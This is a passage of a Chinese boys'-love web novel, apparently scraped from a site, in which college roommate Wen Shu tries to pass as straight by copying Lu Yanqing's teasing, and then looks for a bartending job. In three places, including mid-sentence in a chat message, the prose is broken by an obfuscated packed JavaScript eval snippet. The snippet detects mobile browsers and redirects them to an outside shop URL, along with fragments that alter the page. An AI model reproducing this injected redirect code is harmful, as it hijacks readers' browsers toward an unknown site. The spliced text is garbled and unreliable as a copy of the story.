陆延青有些哭笑不得:“小说里是不是还写霸总对女人过敏,但是一定会遇上一个不过敏的人并且虐身虐心?” 温述震惊:“你怎么知道?” “……少看点这种东西,脑子就是这样看坏的。”陆延青抬手摸了摸温述的脑袋,露出一种,堪称怜爱的神情。 给温述看出一身鸡皮疙瘩,他缩了缩脖子,躲开陆延青的手,有些不满:“不要总是摸我的头,长不高了。” 陆延青打量了他一下:“你现在大二,十九了吧。” “嗯,干什么?”温述直觉他要说的不是什么好话,面露警惕,决定他要是说了什么不爱听的,他就一个锁喉上去。 “男生一般十八到二十就不长个了,我摸不摸你都……” 他话还没说完,眼前忽地一花,身上压了个人,脖子还被东西给勒住了,但是力度不大,还是能呼吸过来的。 陆延青就笑了,他伸手虚虚揽住温述的腰,防止他摔下去。 温述上身贴在陆延青的胸口,双手不轻不重的卡在他的脖子上,没有什么表情。 从陆延青的角度看过去,温述是半个身子趴在他身上的,因为两张椅子微微有些距离,而陆延青身量又摆在那里,即使坐着也比温述高出不少。 更何况温述是直接转动方向,屁股还在椅子上,上半身却是悬空过来,没有着力点,只好借着卡陆延青脖子的动作趴在陆延青身上。 此时的他丝毫没有意识到自己的行为和姿势有什么不妥,还在眼神威胁陆延青,让陆延青为他所说的话道歉。 陆延青既不动也不说话,两个人就这样僵持着,他倒要看看这个笨蛋什么时候能意识到两个人的这个姿势不对劲。 但显然,他高估了温述的反应能力,直到温述自己胳膊都有些酸了,他都没反应过来,依旧不忘初心的眼神威胁着陆延青。 陆延青没辙了,为了他的胳膊和腰着想,率先低头:“好,是我说错话了,我们温温大人还能再长,长到180。” 温述满意了。 目的达成,酸涩感后知后觉的追上来,他惊觉自己的腰和胳膊十分的酸胀,也因着这酸胀,他终于反应过来了一些不对劲的地方。 “……” 温述木着脸从陆延青身上下来,坐好,转过身不看他,拿起筷子机械的卷着面,想当作什么都没发生过一样,但耳畔的红出卖了他。 陆延青发现温述真的很容易害羞,也很容易脸红耳朵红,欣赏了一会儿他这一副尴尬且不自在的样子,而后大发慈悲的解围道:“害羞什么,两个男的这样打闹不是很正常?” 温述吃面的动作一顿,而后像听见了什么不可思议的东西一般,满脸震惊的回头看他。 “怎么了?男生之间这样不是很正常?同性恋才会觉得不好吧。” 温述咽了口唾沫,把头扭了回去,机械的往嘴巴里塞着面,半晌后,声音毫无起伏的说:“嗯,正常的。” 他咀嚼着,也不知道自己嘴巴里是个什么味儿,满脑子只有一个想法。 他们直男真的好可怕。 15. 装直男 在陆延青的注视下,温述将那碗面艰难的吃完了。 中途一度被看得无法下口,温述有反抗过,他看着陆延青委婉道:“你要不也去吃吧,我吃完会去把碗洗掉的。” 本意是想让陆延青赶紧走,别在这里看别人吃了,但不知道陆延青是没听懂还是装作没听懂,语气十分的坦然:“这么关心我?难得,但可惜我吃过了。” “……”温述不懂,到底在可惜什么? 但显然,陆延青这个架势像是不看着他吃完是不会走的,温述便不再浪费口舌,加快了速度。由于速度过快,还差点呛到自己,刻了好几下。 陆延青就在一旁默不作声的递着水。 等到一碗面被消灭干净,温述感觉自己的灵魂彻底被抽走了,第一次觉得吃饭是一件很受罪的事情,摊在桌子上,不想动也不想说话。 见他这副样子,陆延青知道是因为自己,但还是忍不住笑了一声,拿起空的碗站起身,走之前又摸了摸他的脑袋,音调很轻:“睡回笼觉去床上睡。” 用你说。温述心里这么想,说出口的却是:“嗯,谢谢你的面。” 陆延青没应声,只是轻拍了下温述的脑袋顶,而后离开了陆延青的卧室。 看着他将房门关上,温述叹了口气,还是没有把昨天晚上陆延青为什么公主抱他给问出口。不是不好意思问,是他怕问了之后,陆延青给他的回答能把他给吓死。 毕竟陆延青这个死直男没轻重不是一天两天的了。 说到直男,温述靠在椅背上想了好一会儿,在思考怎么才能彻底融入陆延青,毕竟他也不能保证自己不会被陆延青怀疑,但只要自己装得够像,就一定怀疑不了。 融入陆延青的第一步,伪装成直男。 那么问题来了,直男应该是什么样的呢? 温述不是直男,也因此他不知道直男应该是什么样的,Gay是什么样他倒是知道得清清楚楚。 纠结再三,还是点开了林清的聊天框,小心翼翼的发了个条消息过去:“清清你在吗?” 林清秒回:【有本启奏,无本退朝。】 温述一咬牙,一狠心,将消息发了过去:【你知道直男应该是什么样的吗?】 【?】 林清有些不解,打了个电话过来,接通之后调侃道:“怎么了这是?要弯变直啊?” 温述一听就知道他误会了,赶紧解释:“不是啦,是我想和陆延青搞好关系,嗯……也不是说搞好关系吧,就是正常的寝室关系,我怕他发觉我不是直男,想装得像一点。” “和他搞好关系干什么,多余。”林清似乎翻了个白眼,虽然不理解温述为什么要这样做,但还是提议道,“想装的像得先找个直男看看他是什么样吧,你看看你们班上……哦,忘了你是舞蹈系的了,十个男生九个弯。” “……不要造谣我们舞蹈系的男生,谢谢。”温述木着脸说。 “好好是我造谣是我造谣。”林清嗓音带笑,还想说些什么,但那边似乎有人在喊他,林清随意应了几声,而后回道,“我这边来了点事情,先不聊了,你就按我说的那样,找个直男模仿他的行为作风就是了,这样他万一怀疑你,你还能说那个谁谁谁也是这样,让他也怀疑那个人去。” 挂了电话之后,温述一直在思考林清说的话的可行性,越思考越觉得,此招虽险,胜算却大。 可行! 那么,谁来当这个“直男样本”呢? 他在脑中将自己所认识的,亲口承认过自己是直男的人都过了一遍,过到最后,脑中浮现了陆延青的脸。 温述睁开眼,眼神坚定,他知道该拿谁当样本了。 就决定是你了,陆延青! 不是直男吗?不是恐同吗?那就拿他当样本。 万一以后陆延青起疑心了,他还能说“你自己不也是这样吗”把陆延青也给拉下水,完美。 既然要追求刺激,那就贯彻到底咯。 温述觉得自己聪明死了。 说干就干,温述拿过自己的电脑,趴在床上开始做方案,手指在键盘上纷飞,细数陆延青这两天的所作所为,甚至写了个陆延青的人设小传,用以辅助解析。 最后一个字打完,已经是下午了,从床上写到沙发上,温述收回手,看着自己密密麻麻的word文档,感叹自己有这种毅力做什么都会成功的。 他甚至还做了一个思维导图。 其实虽然看上去很多,但总结下来很简单,就一句话:直男就是没轻没重的。 是的,这就温述从陆延青身上感悟到的东西。 因为他发现,有很多时候,陆延青说的话做的事,他身为一个gay,他没办法坦然接受,比如因为怕人多走丢所以手牵手,他觉得有点亲密了。 但是陆延青可以,他觉得只是为了防止走丢而已,拉个手没什么。 再比如陆延青可以毫无心理负担的说自己下海当男模了,问他要不要点,还说给他便宜点,可能陆延青只是作为直男开个玩笑,但温述会多想,毕竟他还真的可能会去点男模。 陆延青是因为身为直男,所以没有想那么多,大多数时候都是以开玩笑的心态说的那些话,以简便解决问题为目的做那些事,但这些落在温述一个gay眼里,就有点怪怪的,即使他知道陆延青是直男,但那一瞬间还是会被震惊到,会有点不自在。 网上不是也有类似的话吗,什么直男下手就是没轻没重的。 温述觉得这句话简直就是在说陆延青。 现在方案已经做好,只待实施,虽然刚开始可能还是会有点不适应,毕竟温述本质上还是个弯的,不过没关系,万事开头难,熬过开头就好了! 他算是发现了,其实也挺简单的,就是抛弃脸皮就好了,只要他脸皮厚一点,不要害羞,那些事他也能做到。 拉个小手而已,又不是亲嘴!说点暧昧不清的话而已,又不是说我爱你!怕!什!么! 燃起来了! 那么,理论成立,实践开始。 温述爬起来,打开房门往外看了看,外面静悄悄的,客厅和小厨房里都没有陆延青的身影。 他想了想,走到陆延青的卧室门口,抬手敲了敲,没有人应,那看来是不在寝室了。 温述有些失望,但很快便重新振作起来,风风火火的跑回自己的房间,从床上摸到自己的手机,解锁,点开和陆延青的聊天框。 【文书:人呢?去哪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766936|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我怎么没在寝室看到你】 陆延青也不知道在哪个地方逍遥,非常的闲,消息回得很迅速。 【死装哥:怎么,睡醒找不到我,想我了?】 这句话弹出来,温述立刻来了劲头。 看到没有,看到没有!就是这样!就是这种语气!他们直男就是这样总是说些暧昧的话,但是他只是在开玩笑! 温述满脑子都是自己刚才捋出来的“知识点”,跃跃欲试,舔了下唇,抬手打字回复。 【文书:想你了又怎么样,不想你又怎么样?】 消息发过去的那一瞬间,温述就开始眼也不眨的盯着手机看,期待那边的回复,但陆延青好像有事去了,迟迟没有回复。 “真是扫兴。”他嘟囔着,有点失望。 就在温述以为陆延青不会回了的时候,陆延青的消息弹了出来。 【死装哥:想我了我就回去,不想我就不回去】 迂回打法,把问题给抛回来,让他来选究竟是“想”还是“不想”,但如果回答不好就会很致命。 说想,那万一陆延青真的回来了怎么办,和他说在开玩笑吗?这不是把人当猴耍。再说了,要是陆延青问想他什么该怎么办,这没法回啊。 说不想,那这局博弈就是陆延青的胜利了,因为这个话题在他这里结束了。但是这怎么能行!这怎么可以!他可是苦苦研究了大半天! 温述轻咬下唇,思索了一下,快速否决了多个方案后灵光一闪。 【文书:你回来陪我的话,你朋友们不会生气吧?】 【死装哥:你怎么知道我和朋友在一起】 【文书:我猜的,可能我们俩心有灵犀】 温述看着自己发出去的消息,唇边的笑意越来越深。 哼哼,甘拜下风吧? 那边没再回复了,温述便宣告了这次战役是他的胜利,士气高涨,心情美妙,精神得能再参加一次艺考。 他就知道!此招虽险,胜算却大!你看看这不就胜利了!! 神清气爽的下了床,神清气爽的去小厨房的冰箱里拿了一块蛋糕,神清气爽的躺在沙发上打开电视找综艺看,一边看一边还在回味自己的话术。 他简直就是天才! 天才奖励自己一口蛋糕,美滋滋的享受战斗胜利的时刻。 只是刚享受了没一会儿,温述忽然听到开锁的声音,他往嘴巴里塞蛋糕的动作一顿,想起来了什么,大惊失色的朝门口看去。 门被一点点的拉开,陆延青还是穿着今天上午的那一身衣服,他手上拎着东西,唇角扬起一点很微妙的弧度。 他关上门,将手上的东西放在玄关的柜子上,一步步朝着温述走近,不快也不慢。 每走一下,温述都感觉自己的心跳加快了一分,他甚至清晰的听到了自己逐渐加快的心跳声。 “不是说想我了。”陆延青说着,走到了温述的身前。 一只胳膊撑在沙发扶手上,微微俯身,那张剑眉星目的帅脸逐渐放大,再放大,在两人的距离只有五公分的时候停下。 他说话的时候,呼吸洒在温述的脸上,两人的呼吸交融,空气升温。 “现在我回来了,高兴吗?” 16. 好心意 高兴吗? 高兴的,哈哈,温述高兴得想死。 他僵在那里,一动也不敢动,更不敢说话。说什么呢,说他只是开个玩笑,没想真让他回来? 说到底,这人为什么突然回来啊!他那条消息发出去到现在,有半个小时吗?有吗?他难道还真的是看到消息就回来了吗?这有点不太对吧? 温述觉得在没轻没重这方面,他还是比不过陆延青,后天的就是没法和先天的比哈,这一战,陆延青赢了。 “怎么不说话,我回来你不高兴?”陆延青见他迟迟不答话,追问道。 他看着温述,像是一定要让温述回答这个问题一般,神色认真,就连眉头都微微蹙起。 完蛋了。 这是温述的第一反应。 他实在是想不通,最应该发出疑问的不应该是他吗?他现在满脑门的问号啊喂! 温述咽了口口水,在说实话和说假话之间,他选择了伸手抵住陆延青的肩膀,将他往后推了推。 “说话就说话,不要靠这么近。” 从刚才他就想说了,为什么一定要以这个姿势说话,感觉好奇怪。 陆延青顺着他的力道站直身子,抱着胳膊,居高临下的看着他。 温述从沙发上爬起来坐好,表面上云淡风轻,实际上头脑风暴。在无数个解释的方案里,他决定另辟蹊径,也就是采用陆延青常用的迂回打法,将问题给抛回去。 “那你呢陆延青。”温述抬眼,看着陆延青的眼睛,“你又为什么要因为我的一句话就回来?” 听听!多么暧昧!多么难以回答!他倒要看看陆延青要怎么回答这个死亡问题。 而陆延青没说话,也没动,他就这样静静的看了温述好一会儿,没什么表情。 温述见他回答不上来,逐渐得意,他觉得自己无师自通,装直男装得浑然天成。 不就是说些没轻没重的暧昧话,谁不会啊! 他脑中为自己放着礼炮,面上维持着先前的表情,找不出任何破绽。 但他一定不知道,他高兴的时候,眼睛会比平常亮很多,因为陆延青看出来了,并且明白他现在在因为什么高兴。 他不清楚温述在他出门的这段时间里,究竟发生了什么事让他变成现在这样,从下午温述给他发那条消息的时候他就察觉到了一丝不对劲。 温述是个很容易害羞的人,一点暧昧的话都听不得,听了就脸红,可今天下午,他主动说了,不但主动说了,还故意钓了一句,怎么想都很奇怪。 所以他回来了,想看看温述到底进化成什么样了,结果还真是,让人惊喜。 虽然不懂为什么,但既然已经发展成这样了,那不如顺其自然,将计就计。 “因为我想见你。”陆延青回答了温述先前的问题,“因为我想让你见到我。” “所以,高兴吗?” 不高兴,谢谢。 温述觉得陆延青疯了。 他到底知不知道自己在说什么啊? 好可怕,真的,他们直男真的好可怕。如果不是因为知道陆延青是个铁直,他会觉得陆延青在故意撩他。 他看着陆延青,半天说不出话来,事情发展成这样已经不在他的掌控之内了,搞不懂为什么陆延青一定要问个说法。 在上演什么他逃他追的戏码吗?! 思考两秒,温述放弃思考,决定用魔法打败魔法:“高兴啊,我高兴死了,下次还会这么听话嘛?” 来啊,魔法对轰!看谁轰得过谁! 陆延青笑了:“听不听话的,下次再说。” 很好,此次危机顺利度过。 温述木着脸心想,所以原来这么简单就能度过了吗,那他前面思考犹豫的那些算什么?算他大脑转得快吗? 笑不出来。 他一把扒拉开站在他身前挡着他看电视的陆延青,慢吞吞的往嘴巴里塞着蛋糕。电视上在放着什么他完全没注意看,满脑子都是刚才的“博弈”,一点点的复盘。 复盘着复盘着,脑中忽然一闪过一个东西,他猛地扭头,看向玄关处的柜子上,陆延青进门后放在上面的东西。 包装袋上的logo,是KFC。 “……” 温述感觉自己被耍了,他将头扭回来,看着被他扒拉开之后顺势坐在他身旁的陆延青,语调没什么起伏,“你说实话,其实你本来就要回来了对不对,只是我刚好把消息发过去,所以你将计就计,是不是?” 他说这句话的时候握紧了拳头,好像如果陆延青说了什么他不爱听的,他就一拳头捶上去一般。 陆延青眨了下眼睛,满脸无辜。 好了,破案了,还真是这样。 温述现在看着陆延青的那张脸,觉得怎么看怎么讨人厌,这个人真的是,太恶劣了! 所以他就是故意要追问到底的,因为他知道他自己不是因为一句话就回来的,就是故意逗他。 还说什么“听不听话的,下次再说”,下次看还是不是赶上自己要回来的时候是吧。 “陆延青。”温述瞪着身旁的人,他说不出什么重话,想了半天,也只憋出来了一句,“你真的很讨人厌。” 陆延青抬了下眉,嗓音带着笑:“昨天晚上不是还说不讨厌我。” “我现在讨厌你了。”温述故意加重了“现在”这两个字,想以此告诉陆延青他今天的行为有多恶劣。 但显然陆延青并没有get到,因为他点点头,哼笑一声:“行,不讨厌我了跟我说一声。” “干嘛?” “不讨厌我了,我就能把我给你带的KFC给你了。” 温述愣了一下,脑袋有点没转过来,不明白为什么上一秒他们还在争论讨厌不讨厌,下一秒陆延青就水灵灵的说KFC是给他带的。 什么意思? 温述思考了一下,懂了,这是在求和对吧?这是在求和对吧!发现自己把他惹生气了,就开始用好吃的贿赂是吧! 你看我理你不! 他十分有骨气的重重哼了一声,严肃道:“我是不会因为这个原谅你的,别想贿赂我。” “?” 陆延青有的时候,是真的挺想把这个笨蛋的脑袋打开,看看里面到底装的是什么。 他没好气道:“什么贿赂,本来就是给你带的,一天天的在想什么。” “我不信。”温述满脸认真。 他是真的觉得陆延青是在贿赂,不然为什么刚进寝室的时候陆延青不说?其实就是见他生气了所以找补吧。 陆延青真的服气了,他拿温述那个榆木脑袋没办法,那么漂亮的一个人,怎么就跟个木头一样。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766937|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那你吃不吃?” “不吃。”温述这两个字说得铿锵有力的。 陆延青被气笑了,“不吃你打算就饿着是吗?你今天就吃了早上那碗面吧?你铁打的?” 说实话,温述不知道怎么回这句话。 因为他发现,如果以这个为理由的话,那陆延青好像确实有专门给他带的动机。 完蛋了。 一天之内完蛋两回,每回都是因为陆延青,温述一时之间不知道该说他克自己,还是自己太过倒霉。 他小心翼翼看了一眼陆延青的脸色,很好,没有很生气的样子,还可以挽回。 伸出手,轻轻拽了一下陆延青的衣袖,仗着自己长得好看,装作可怜巴巴的样子开始求和。 “对不起,你不要生气。”声音温软,语调拉长,尾音下垂,端的是一副真心哄人的模样。 陆延青看着他,没吭声。 看吧,他早说了,温述就跟个猫一样,见你心情好,能惯着他,他就娇纵,有点什么小脾气都撒你身上。 但你一旦有对他生气的预兆,他就会立刻软下来,走到你身前,给你摸平时怎么也不让摸的柔软的肚皮。 精得很,但就是让人拿他一点办法没有,他用那双漂亮的眼睛看着你的时候,你对他说不出拒绝的话。 因为你不会想让那么漂亮的眼睛流露出失望的神情。 因此陆延青只是叹了口气,然后问:“所以,要吃吗?” “要的。”温述乖乖的应道,“你特意带回来的,当然要不能让这份心意落地。” 既然已经确定了是专门给他带的,再拒绝就不礼貌了,所以他应了下来,还不经意的暧昧了一句。 嗯,再说一遍,他简直就是天才。 陆延青实在是没想到,居然这种情况下,温述还能说出这样的话,他有点好奇,他不在的这几个小时,温述到底上哪进修去了。 但,既然他话都说成这样了,不接一句岂不是说不过去? 于是他滚了滚喉结,略有些深意的问:“心意,你觉得我出门有事的情况下,还记得你中午没吃东西,专门给你带了点回来,是出于什么心意?” “……?”又开始了是吗? 温述有点不想说话,温述感觉自己好像打了一天的仗,温述不咸不淡的看了一眼陆延青,说:“怎么想也是出于关心室友的心意吧,总不能是其他的,还是说……” 他说到这,顿了一下,视线缓缓的从陆延青的眼睛往下滑,经过鼻梁,来到嘴唇,停顿两秒,而后迅速滑了上去和陆延青对视,笑了。 “你想和我发展其他关系?” 他笑起来的时候眼睛弯弯的,亮亮的,特别惹眼,就像陆延青之前说的,温述十分适合这种情绪饱满的表情,能让他整个人“活”过来,不再像是个空洞的,漂亮的洋娃娃。 很有生命力。 陆延青被这个笑晃了下神,他怔了几秒,被逗笑了。 嗯,开启防御机制了,估计是被他这样一而再再而三的撩得受不了,故意说这种话恶心他的。 他笑着叹了口气,开玩笑似的说:“如果我说我想呢?你要怎么办?” 但,不好意思了,他实在是个坏东西。 他就是想看看温述面对这种近乎于直白的暗示的话语,会是什么反应。 17. 别发骚 话音落下,房间里倏的安静下来,针落可闻。 温述面无表情的看着陆延青,他在想,这人到底是不是故意的,为什么每次都能把话题往奇奇怪怪的方向发展。 他明白直男没轻没重,但是一直将话题往暧昧的地方拉,怎么想都很奇怪的吧。 沉默了好一会儿,在脑中过了无数个词儿,想到了什么,温述舔了舔干涩的唇,慢吞吞的说道:“陆延青,你能不能别这么……” “怎么?”那人饶有兴趣的问。 “骚。” 陆延青抬了下眉,有些意外这个形容,将这个字咬在嘴边复述了一遍:“骚。” 他说得很慢,颇有一股温柔缱倦的味道,虽然温述也不知道在缱倦个什么劲儿。 他迎着陆延青略带调侃的视线,十分之理直气壮:“难道不是吗?有的时候明明只是很简单的对话,你总是说一些很奇怪的话,让话题方向往奇怪的方向发展。” “奇怪吗?”陆延青这么问,好像丝毫不觉得自己说的话有什么问题一般。 温述反问:“不奇怪吗?你都说要和我发展其他关系了,还不够奇怪吗?” 陆延青耸了耸肩,满脸无辜:“是你先问我是不是想和你发展其他关系,我顺着你说而已,怎么只赖我一个?” 温述被噎了一下,张了张口,半天没说出一个字来。 他想为自己辩解,但他发现好像无论他怎么辩解,都确实他起的头,因为确实是他先说的“不让心意落地”,也是他先提的“发展其他关系”,他辩无可辩。 陆延青克我。 温述更加坚定了这个想法。 陆延青见好就收,没有太过咄咄逼人,毕竟把人逼急了,哄人的还是他。虽然温述的反应很好玩,但逗过头了容易得不偿失,这小祖宗可不好哄。 之前好哄,现在不行了,现在两人熟了,祖宗有脾气了。 “好了,别管这个那个了,争到明天也争不出个什么所以然出来,去把东西拿过来吃。”陆延青说着,眼尖的发现温述有一撮头发没扎好,伸手替他拢了拢。 温述被碰了个猝不及防,浑身一抖,跟应激了似的往旁边退了好大一截,抬手捂住被碰到的头发及颈间的皮肤,眼睛瞪得大大的:“你干嘛?” 陆延青没想到他的反应这么大,也被吓了一跳,看了一眼自己的手,又看了一眼温述,不太懂为什么这小猫炸毛了,他也没逆着毛摸啊。 两人就这样大眼瞪小眼,互相不懂对方什么意思。 陆延青试探的说道:“我摸得你痒?” “……”这是痒不痒的问题吗? 温述简直连想吐槽的心都没有,但这种事情确实不太好说,说白了他就只是有点不习惯有人碰他的头发。也不是说不让碰,就是,不习惯被人碰靠近发根的地方。 这地方连着头皮,猝不及防被碰一下,那触感能顺着头皮传到脊柱,让人浑身发麻,他不喜欢这种感觉,算是他的一个敏感点吧。 但他能这么说吗?他能吗?他这边刚说出口,那边的陆延青估计下一秒就要伸手过来再碰一下试试看。 虽然他承认他这样想有污蔑陆延青的意思,但没办法,如果是陆延青的话,好像也确实是能干出来这种事情 说不出口,温述便打算糊弄过去,说出了万能金句:“我和你说不清楚。” 十分好用的一句话,正常人听到这句话就不会再继续纠缠了,陆延青也不例外,点了点头,没再说什么了。 温述满意了,他站起身,走到玄关处,将柜子上的东西拿了起来,一边往回走一边小声嘟囔:“怎么感觉你每天都在投喂我。” 陆延青听见了,但没说话。 家养小猫嘛,总不能饿着。 温述将东西放到茶几上坐下,往外面拿袋子里的东西,拿完,才想起来出于情理,他应该问一下带这些东西回来的陆延青吃不吃。 只是还没等他开口,陆延青就跟他肚子里的蛔虫一般,抢先一步说道:“我在外面吃过了。” “哦~”温述露出一个了然的神情,“和朋友一起的对吧,我懂,但你的朋友应该也都是大少爷吧,你们一群大少爷一起组团去吃肯爷爷吗?” 陆延青有些好笑道:“谁告诉你我是和他们出去吃饭的?” “那不然去干什么了?”温述是真的有点好奇了,没办法,他长这么大,只见过两个正儿八经的少爷。 一个是陆延青,另一个是林清。 不过由于林清从小和他一起长大,两个人熟得能穿同一条裤衩子,林清在他面前一点少爷架子都没,所以也就没有滤镜了。 但陆延青不一样,这位是真真儿的一点也不了解熟悉,再加上校园论坛上说陆延青保送来的时候,陆家父母豪掷千金,直接给学校捐了两栋楼,用以庆祝陆延青升学。这让温述更加好奇,像陆延青这种家庭背景出身的少爷,平日里都干些什么呢。 陆延青瞥了一眼他脸上的表情,不用猜都知道他在想什么,有些无奈:“打住,别把那些狗血小说里的东西往我身上代,我可没那么闲,学他们去飙车泡吧。” 温述略有些失望:“啊,那你们聚在一起干什么呢?” “你猜。” 听到这个回答,温述的小脸瞬间就垮了下来,扁了扁嘴,有些不满:“不说就不说呗,说什么让我猜,刚才不是还不让我代。” 他微微撇着脑袋,半垂着头,用脑袋顶上的发旋对着陆延青,一副不想和他说话的样子。 说实话,陆延青觉得有些可爱,他早说了,温述冷脸萌。 自己把人惹生气的自己哄,其实陆延青自己也不知道为什么,有的时候就是忍不住想去逗温述玩,明知道温述会生气,哄好了之后下次还是会这么干。 他偶尔也觉得自己欠儿得很。 欠得很的陆延青清了清嗓子,不欺负他了:“一起去某个人的家里商量策划方案。” 听到答案,温述立马来了精神,迅速抬起头,问道:“什么方案?” 漂亮的眼睛里写满了求知若渴,和刚才那副委屈生气的样子判若两人, 他变脸变得实在太快,给陆延青看笑了:“不是,你刚才不是还在生气吗?刚才装的?” 温述拒不承认。 他才不会说他就是装的,因为他发现这招真的,屡试不爽。他不懂为什么陆延青对他的包容度那么高,但,既然事实如此,不用起来的话,未免有些太浪费了。 他知道他装成那样,陆延青就一定会以为他生气了,也或许知道他没生气,但那不重要,因为陆延青不在乎。 他不在乎他是不是装的,反正不管怎么样他都会来哄。 温述清楚自己就是在恃宠而骄,他知道陆延青会主动开口告诉他,他笃定陆延青会主动开口告诉他。 果不其然,下一秒。 “这个不能告诉你,是很重要的东西,但一定不是你看的小说里经常写的什么股份转让书,什么收购书。”陆延青挑着能说的说了。 “好吧。”温述点了点头,十分的认真,“我会替你们保密的。” 陆延青有些哭笑不得:“你知道什么了你就保密。” “什么都不知道,但是不知道也算是一种变相的保密。”温述如是说道。 “行。”陆延青点了点头,表示认可。 温述也没再继续这个话题,他拿起一个汉堡,张大嘴巴咬了好大一块,缓慢的咀嚼着。 他吃饭很安静,不吧唧嘴,也不会发出什么声音,就是吃得慢,一点东西他能嚼很久,对于细嚼慢咽这一行为有一种近乎神圣的执着感。 陆延青还挺喜欢看温述吃饭的,虽然他吃得慢,但是一点也不会让人觉得着急,只会不自觉的放慢自己的速度,和他保持在同一个步调上。 不知道别人怎么样,反正陆延青是这样。 好不容易干完一个汉堡,温述喝了一口水缓了缓。他还有一个优点,就是能喝水绝对不喝饮料,对饮料之类的,尤其是碳酸饮料极其的抗拒,其他的他还能稍微喝那么一两口,碳酸饮料他是宁愿渴死也不愿意碰一下。 所以套餐里的那杯饮料被温述孤零零的留在那里,陆延青注意到了,想起之前他往冰箱里放可乐的时候温述嫌弃的表情,懂了。 他本来以为温述只是不喜欢喝碳酸饮料,所以特意把可乐换成了别的,没想到这祖宗是根本不喝饮料。 长臂一伸,陆延青将那杯饮料拿了过来,扎进吸管,自己喝了。 温述看了他好几眼,但最后也没说什么,两个人一个安静的消灭汉堡,一个安静的消灭饮料。 等温述把一切都结束的时候已经过去大半个小时了,他靠在沙发上,缓了一会儿之后才起身收拾了桌上的垃圾。 处理完,站在小厨房门口,看了一眼时间,快四点了,还算早。 陆延青注意到他看时间的动作,问道:“怎么?等会儿有事?” “嗯。”温述应了一声,“我要出门一趟,顺带消消食。” 消食是借口,出门找兼职是真。 是的,他要去找兼职,不仅仅是为了多赚些生活费,也是为了给陆延青回礼。 陆延青开学的时候给了他那么大的一个见面礼,水头那么好的翡翠手镯价格肯定不便宜,他要回礼的话肯定也不能随便回一个什么东西,那也太不礼貌了。 所以他精挑细选了一块表,一个小众品牌,但胜在设计好看。 更重要的是,价格可观,只要他找到一个薪资还可以的兼职,加上他小金库的钱,只需要短短的半学期就攒够了! 好吧其实也不短,但是没办法,他不能以这个为理由找爸爸妈妈要钱,反正自己能兼职,先试试看。 听到他说要出门,陆延青又问:“需要我让司机送你吗?” “不要,都说了顺带消消食,你让司机送我我怎么消食?”温述拒绝了他的提议。 开玩笑,他现在都还没找到兼职呢,他也不知道自己要去哪里。 “行,路上小心。”陆延青没有再坚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766938|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持。 出了门,温述惊觉自己最近还真没有留意过哪里招兼职,他往大学城那边走了走,一路看过去,虽然有些确实招,但要么是时间不太行,要么是薪资差强人意。 晃了一圈,竟没看到几个合适的。 为数不多的三家,一家是蛋糕店,一家是鲜花店,还有一家,是偏清吧的酒吧。 三家他都能去,他会烘焙,会园艺,也会调酒,以前读书放假的时候,他就会跟着妈妈学习做甜品和养花。 但是调酒纯属是个人爱好了,偶然刷到感觉很有意思,所以去学了,用他自己的话来说就是:学得还可以。 温述有些纠结,蛋糕店工作时间有要求,虽然有点紧,但是挤一挤也能赶得上,鲜花店虽然时间比较宽松,但薪资稍微差了那么一点,酒吧时间自由,薪资中上,但毕竟是酒吧,虽然说是偏清吧的,但是他还是有些担心安全隐患。 可如果抛开别的不谈,最佳选择肯定是酒吧。 他站在酒吧门口踌躇,拿不定主意,他想要酒吧的薪酬和时间,以及蛋糕店、鲜花店的安全,为什么就不能三者结合呢! 温述犹豫了半天,最后叹了口气,还是决定去蛋糕店,时间嘛,挤一挤就有了,总不能为了赚钱连安全都不要了。 他转身准备走,忽然听到身后酒吧的门被人拉开,一道清亮的声音从门口传来。 “温温?你怎么在这里?” 温述回过头,看到了站在门口的林清,有些惊讶:“好巧啊清清,你也在这里,我在找兼职呢。” “找兼职?找到了吗?”林清走了过来。 “没呢,不过已经打算去蛋糕店了,我本来是说在犹豫应不应聘这家酒吧的,但是想想还是算了,感觉还是有点害怕。”温述小声说道,像是生怕自己说的话被酒吧里的工作人员听到一般。 林清听完后打了个响指,对着酒吧抬了抬下巴,笑意盈盈:“去酒吧。” “嗯?”温述有些意外。 “我昨天刚入股的,现在我是大老板,你进来绝对不会被欺负。”林清说这话的时候,脸上是遮掩不住的得意,“我不要求你上班时间,你有空就过来调个酒,没空就不来,反正我一个月给你开七千。” “正式员工是底薪五千加抽成,你就算了,你那个笨嘴巴也说不出什么好听话哄人买酒,我就给你定个死工资,你看着来。” 温述被他这一连串的话给弄懵了,反应了好一会儿:“等一下,你给我开这么高,你怎么赚钱……” 林清笑着指了指酒吧的名字,温述闭嘴了。 拟剧论,上江城最著名的酒吧,以氛围和酒品出名,每月都会推出一款新品,款款爆火,不少地下乐队在这里演出过。 